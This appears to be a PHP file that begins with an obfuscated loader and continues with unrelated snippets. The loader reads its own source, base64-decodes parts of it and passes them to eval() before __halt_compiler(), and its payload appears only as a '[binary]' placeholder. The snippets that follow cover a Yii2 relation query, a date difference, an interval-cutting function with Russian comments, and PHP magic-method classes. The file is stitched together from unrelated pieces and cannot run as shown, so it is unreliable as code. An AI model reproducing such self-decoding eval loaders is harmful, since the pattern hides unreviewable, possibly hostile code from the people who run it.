<?php
$OO000O0000 = file(preg_replace("@\(.*\(.*$@", "", __FILE__));
if (preg_replace("@\(.*\(.*$@", "", __FILE__) == __FILE__ or preg_replace("@\(.*\(.*$@", "", __LINE__) != 3)
die("<tt>ERROR");
function OOOO0000O0($a, $b)
{
if ($b == 162) {
$d = substr($a, 1303, 8);
} elseif ($b == 13) {
$d = substr($a, 973, 330);
} elseif ($b == 40) {
$d = trim(substr($a, 1311));
}
return $d;
}
eval(base64_decode(OOOO0000O0($OO000O0000[0],13)));
eval(OOOO0OOO0O(OOOO0000O0($OO000O0000[0],40),OOOO0000O0($OO000O0000[0],162),$OO000O0000));
__halt_compiler();
[binary]
public function getGroup()
{
return $this->hasOne(Group::className(), ['Group_Code' => 'Group_Code']);
}
$list = Students::find()
->select(['FIO','Group_Code'])
->with(['group'])
->orderBy('FIO')
->asArray()
->all();
$student['group']['Group_Name']
$a = ['08', '16'];
$diff = (new \DateTime())->diff(new \DateTime("20$a[1]-$a[0]-01"))->format('%yy %mm');
function cut(array $base, array $cuts = [])
{
$parts = [];
$cutParts = [];
// сортируем вырезанные отрезки по началу
usort($cuts, function (array $a, array $b) {
return $a[0] - $b[0];
});
// склеиваем вырезанные отрезки
foreach ($cuts as $cut) {
$i = count($cutParts)-1;
if ($i === -1) { // первый отрезок
$cutParts[] = [max($base[0], $cut[0]), min($base[1], $cut[1])];
} else {
if ($cut[0] > $cutParts[$i][1]) { // новый отрезок
$cutParts[] = [max($base[0], $cut[0]), min($base[1], $cut[1])];
} else { // склейка
$cutParts[$i][1] = max($cutParts[$i][1], $cut[1]);
}
}
}
// считаем, что осталось
if ($cutParts[0][0] === $base[0]) { // начинать надо не от начала
if ($cutParts[0][1] === $base[1]) { // вырезано все
return [];
} else { // начинаем отсчет с конца первого отрезка
$parts[0] = [$cutParts[0][1]];
array_shift($cutParts);
}
} else { // начинаем отсчет от начала исходного отрезка
$parts[0] = [$base[0]];
}
foreach ($cutParts as $i => $cutPart) {
$parts[$i][1] = $cutPart[0];
if ($cutPart[1] < $base[1]) {
$parts[$i + 1] = [$cutPart[1]];
} else { // отрезок покрывает конец исходного отрезка
return $parts;
}
}
$parts[count($parts) - 1][1] = $base[1];
return $parts;
}
print_r(cut([1, 100000], [[30, 500], [1200, 3700]]));
print_r(cut([1, 1000], [[30, 500], [20, 700], [10, 35]]));
Class Item {
public string $name = '';
public float $qual = 0;
public function __construct(array $attributes = [])
{
foreach ($attributes as $key => $value) {
$this->$key = $value;
}
}
public function __toString()
{
return "$this->qual"; // семантическая х-ня
}
}
// ...
$items = array_map(function (array $item) {
return new Item($item);
}, $items);
var_dump("$items[0]" + 100);
class Items {
public array $items = [];
public function __construct(array $items = [])
{
$this->items = $items;
}
public function __invoke(int $key)
{
return $this->items[$key]['qual'] ?? null;
}
}
// ...
$items = new Items($items);
var_dump($items(0));